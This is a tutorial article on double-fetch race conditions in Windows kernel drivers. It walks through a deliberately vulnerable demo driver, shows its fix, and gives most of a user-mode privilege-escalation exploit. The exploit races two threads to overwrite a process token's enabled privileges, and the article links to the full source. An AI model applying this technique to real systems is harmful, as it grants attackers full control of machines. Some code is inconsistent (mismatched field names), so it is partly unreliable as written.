Exploiting Windows DRIVERS: Double-fetch Race Condition Vulnerability 2023
This article is about Exploiting Windows DRIVERS: Double-fetch Race Condition Vulnerability.
Introduction to Exploiting Windows DRIVERS:
Contention occurs when two or more running threads manipulate the same resources without any synchronization mechanism regulating access to those resources. The presence of race conditions often leads to undesirable behavior ranging from erroneous results to complete program crashes. In this article, we will discuss a special type of race condition vulnerability: the double-fetch vulnerability and its use to escalate privileges on the system.
Unlike typical race condition vulnerabilities, where threads are created and run by the program itself, exploiting a double-fetch conflict requires the attacker to create competing threads themselves. To understand the reason behind this, we need to know what causes this particular error and how an attacker could approach it.
A simple example
Let’s see how this vulnerability works with this example:
[…]
if ( transaction[amount].value < 50.0 )
{
double amount = transaction[amount].value;
bool conf = Prompt(” Sending amount $” + amount + ” without applied taxes”, TYPE_YES_NO);
if ( conf )
{
ReqServer_SendMoney([. . . ] , amount , [ … ] , NO_TAX);
User.transactions_number++;
}
[…]
}
[…]
Now imagine an attacker with the goal of sending money without being subject to any taxes. For the sake of this example, let’s ignore all the other easier ways to exploit this insecure application, in fact it shouldn’t even be programmed client-side.
The logic is simple: If the transaction amount is less than $50, let the user know that no taxes will be applied, confirm their choice, and then ask the server to complete the transaction. Now notice how the amount is read from memory twice (the lines are in bold), this is where the application is exposed. For example, an attacker could inject two threads into the application, one that calls this routine over and over, and another that constantly toggles the value of transaction[amount].value , for example, from $49 to a desired amount that is greater than $50.
Also Read:Everything you need to know about Ethical Hacking as a Career by Blackhat Pakistan 2023
The injected fibers would look like this:
Thread01
{
/get addresses of interest from memory/
[…]
int transaction_number = User->transaction_number;
while (transaction_number == User->transaction_number)
{
transaction[amount].value = 48;
Send money(…..);
}
TerminateThread(Thread02);
ExitThread();
}
Thread02
{
/get addresses of interest from memory/
[…]
while (true)
{
transactions[amount].value = 4500;
transaction[amount].value = 48;
}
}
If the attacker is lucky enough, what happens is that the value read in the “if” clause is 48. It is then quickly changed to 4500 by Thread02 before the program reads it again. The attacker is then prompted with the following message: “I am sending $4500 tax free” and willingly confirms the transaction.
Vulnerable driver
The double loading vulnerability is not as interesting in user mode as it is in kernel mode, this is mainly because the kernel knows no bounds. In this article, we will exploit a double-fetch vulnerability found in a kernel-mode driver to escalate privileges on the system. The kernel mode driver as well as the user mode exploit can be found on my GitHub (link in links below).
Driver overview
When our vulnerable kernel mode driver (rcdriver) is loaded, it registers an IOCTL handler ( RcIoCtl ). This vulnerable handler uses “METHOD_BUFFERED”, which means that the input buffer supplied from user mode will be copied to kernel mode memory. The driver would then access the IRP SystemBuffer to get the address where the input is located.
Our driver expects some input from the user; is defined as follows:
typedef struct
{
int* UserAddress;
} Ustruct;
typedef struct
{
int array1;
Ustruct* ustruct;
int array3;
int array4;
}UserStruct,*PUserStruct;
If array1 equals 0x1586 and array3 contains 0x1844, it performs a simple calculation and stores the result in the memory location pointed to by UserAddress.
Note that there are two user-mode virtual memory addresses in both of these structures: the UserStruct.ustruct array and the Ustruct.UserAddress array, so the driver must call ProbeForRead and ProbeForWrite before doing any action on these addresses (read/write). In this case, ProbeForRead on UserStruct.ustruct and ProbeForWrite on Ustruct.UserAddress.
Vulnerability
The driver is exposed to this vulnerability because it reads ustruct->UserAddress from user-mode memory twice:
__Try
{
ProbeForWrite(ustruct->UserAddress,size(int),__alignof(int)); // first load
} __except (EXCEPTION_EXECUTE_HANDLER) { […] return status; }
[…]
/second load/
*ustruct->UserAddress = num; // num : calculated integer based on input from user mode
To successfully exploit this flaw, an attacker must supply a valid ProbeForWrite user mode address and then quickly change the UserAddress field to a kernel mode address where the integer will be written.
Vulnerability fix
To fix this vulnerability, you simply need to avoid retrieving the value from user mode memory. A possible fix could look like this:
int* Addr = ustruct->UserAddress; // load only once from user mode memory
__Try
{
ProbeForWrite(Addr,sizeof(int),__alignof(int));
} __except (EXCEPTION_EXECUTE_HANDLER) { […] return status; }
[…]
*Addr = num; // num : calculated integer based on input from user mode
Privilege escalation: user mode abuse
Now that we understand exactly where the vulnerability is and how we can trigger it, it’s now time to see how we can benefit from it. When the “race is won”, meaning we’ve bypassed the ProbeForWrite routine, we face a write-what-where condition.
The vulnerable driver allows us to write 4 bytes ( sizeof(int) ) to any memory location in kernel space. Even better, we can invoke the vulnerability multiple times and write as much as we need, wherever we need.
For our example, I chose a trick presented by Cesar Cerrud at “Blackhat US 2012”, which uses a process token object to grant permissions to the attacker’s process. For this trick to work, we need to be able to write 4 bytes to the TokenObject->Privileges.Enabled field. In my case, I want to allow the maximum number of permissions, so I simply have to write 0xFFFFFFFF there.
First, we start by getting the token handle of our process:
OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken)
Then call NtQuerySystemInformation with the SystemHandleInformation class. This function returns a SYSTEM_HANDLE_INFORMATION structure containing an array of SYSTEM_HANDLE structures.
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE symptoms;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
As you can see, it is possible thanks to NtQuerySystemInformation to get the kernel address to our token object from the Object array.
Note that to get the correct object address; we need to compare the ProcessId field with our current process ID because handle values can be the same for different processes (handle table for each process).
Method:
unsigned int i;
for ( i = 0 ; i < SysHInfo->HandleCount ; ++i )
{
SYSTEM_HANDLE handle = SysHInfo->Handles[i];
if ( GetCurrentProcessId() == handle.ProcessId && hToken == (HANDLE) handle.Handle )
{
TokenObject = (BYTE*)(handle.Object);
printf(“Token object in : %pn”,TokenObject);
/* TokenObject->Privileges.Enabled */
TokenObject += 0x48;
break;
}
}
Now that everything is set up, we need to create two threads responsible for triggering the double-load contention condition.
Let’s start by examining the second thread first:
DWORD WINAPI RaceThread02 (LPVOID lpParam)
{
Ustruct* u = *(Ustruct **) lpParam;
int* oldaddr = u->UserAddress;
while (true)
{
u->UserAddress = (int*)(TokenObject); //Points to the Enabled field
for(int i=0;i<666;i++); // to increase our chances a bit
u->UserAddress = oldaddr;
}
return 0;
}
Similar to the opening example, this thread still toggles the values of the UserAddress field “hoping” that ProbeForWrite will be skipped, and the UserAddress value points to kernel memory when written.
Switch to the first thread that is the parent of the second thread. This is because it first needs to allocate resources (structures), then pass them to a second thread that will play with their values. This is how Thread01 does the allocation and initialization:
int* userint = new int;
UserStruct* userstruct = new UserStruct;
Ustruct* ustruct = new Ustruct;
userstruct->field1 = 0x1586;
userstruct->field3 = 0x1844;
userstruct->field4 = 0xFFFF9643;
userstruct->ustruct = ustruct;
userstruct->ustruct->UserAddress = userint;
The value of field4 is deliberately chosen so that the result of the calculation in kernel mode will be 0xFFFFFFFF : the value we write in the Enabled token field.
After initializing the structs, we need to create a second thread and then enter a loop where we send an I/O request to the vulnerable driver with a userstruct as input.
while (true)
{
DWORD Bytesr;
userstruct->ustruct->UserAddress = userint;
*userint = 0;
if ( DeviceIoControl((HANDLE)Params,0x22e054,userstruct,sizeof(UserStruct),NULL,NULL,&Bytesr,NULL) && *userint == 0 )
{
break;
}
}
As you can see, we don’t exit the loop until the device driver returns a success code and the value where the result should have been is the same as we initialized it. In other words, it means that the kernel mode driver has successfully written 0xFFFFFFFF to the process token. So we have successfully escalated the permissions in the system.
Running the exploit
Let’s suppose that the driver is already running and open our exploit.

Let’s see the process’s privileges before the race condition is triggered:

Quite limited, we can’t do anything interesting using our current privileges. Some seconds after, the exploit tells us that we escalated privileges on the system.

Let’s see if that’s true:

We can see that SeShutdownPrivilege and SeUndockPrivilege were the only ones enabled, but our exploit enabled a number of them.
The reason is simple; Process Explorer only displays the privileges that are marked in the Present field (TokenObject->Privileges.Present). However, we can still perform privileged tasks because if the permission is marked in the Enabled field (TokenObject->Privileges.Enabled), Windows does not make any checks to see if it is also marked in the Present field.
This is what Process Explorer would show us if it was working as intended:

You can see that after writing to the process token we can do basically anything in the system. From manipulating files to loading drivers in kernel mode (SeLoadDriverPrivilege), to reading/writing processes (SeDebugPrivilege), to shutting down the computer (SeShutdownPrivilege), etc.
References
Driver and Exploit Source code:
https://github.com/SouhailHammou/Drivers/tree/master/double-fetch-racecondition